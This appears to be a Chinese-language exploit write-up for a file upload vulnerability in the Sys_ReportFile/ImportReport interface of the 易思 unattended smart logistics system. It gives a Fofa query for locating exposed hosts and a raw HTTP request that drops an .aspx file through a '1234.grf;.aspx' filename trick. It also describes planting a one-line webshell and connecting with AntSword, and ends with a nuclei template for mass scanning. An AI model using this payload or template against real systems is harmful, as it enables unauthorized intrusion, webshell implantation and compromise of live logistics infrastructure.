易思无人值守智能物流系统Sys_ReportFile 文件上传漏洞

漏洞描述

易思无人值守智能物流系统是一款集成了人工智能、机器人技术和物联网技术的创新产品。易思无人值守智能物流系统Sys_ReportFile接口处存在文件上传漏洞。

漏洞复现

步骤一：使用以Fofa语法进行搜索并打开其页面...

"智能物流无人值守系统"

步骤二：开启浏览器代理并开启BP进行抓包，修改数据如下....进行发送测试！其中如果返回内容中存在/GRF/Custom/a.aspx则说明存在漏洞！

POST /Sys_ReportFile/ImportReport?encode=qwer HTTP/1.1Host: ipUser-Agent: Mozilla/5.0 (Macintosh;T2lkQm95X0c= Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15Content-Type: multipart/form-data;boundary=----WebKitFormBoundaryxzUhGld6cusN3AlkContent-Length: 213------WebKitFormBoundaryxzUhGld6cusN3AlkContent-Disposition: form-data; name="file"; .filename="1234.grf;.aspx"Content-Type: application/octet-stream2ujqjdjq~111------WebKitFormBoundaryxzUhGld6cusN3Alk--

步骤三：修改数据包并上传一句话木马...

步骤四：使用蚁剑进行链接测试...成功！低权限操作....需要提权~

漏洞批量

id: yishi-wuliu-sys_reportfile-fileuploadinfo:  name: yishi-wuliu-sys_reportfile-fileupload  author: xingyun  severity: high  description: 易思无人值守智能物流系统是一款集成了人工智能、机器人技术和物联网技术的创新产品。易思无人值守智能物流系统Sys_ReportFile接口处存在文件上传漏洞。  tags: yishi,fileupload  metadata:    fofa-qeury: "智能物流无人值守系统"    veified: true    max-request: 2http:  - raw:      - |                      POST /Sys_ReportFile/ImportReport?encode={{fileupload}} HTTP/1.1        Host: ip        User-Agent: Mozilla/5.0 (Macintosh;T2lkQm95X0c= Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15        Content-Type: multipart/form-data;boundary=----WebKitFormBoundaryxzUhGld6cusN3Alk        Content-Length: 212        ------WebKitFormBoundaryxzUhGld6cusN3Alk        Content-Disposition: form-data; name="file"; .filename="1234.grf;.aspx"        Content-Type: application/octet-stream        2ujqjdjq~11        ------WebKitFormBoundaryxzUhGld6cusN3Alk--      - |                      GET /GRF/Custom/qwer.aspx HTTP/1.1        Host:         User-Agent: Mozilla/5.0     payloads:      fileupload:        - "qwer"    matchers:           - type: dsl        name: fileupload        dsl:          - "status_code_1 == 200 && contains(body,'2ujqjdjq~11') && contains(header,'text/html')" #qwer.aspx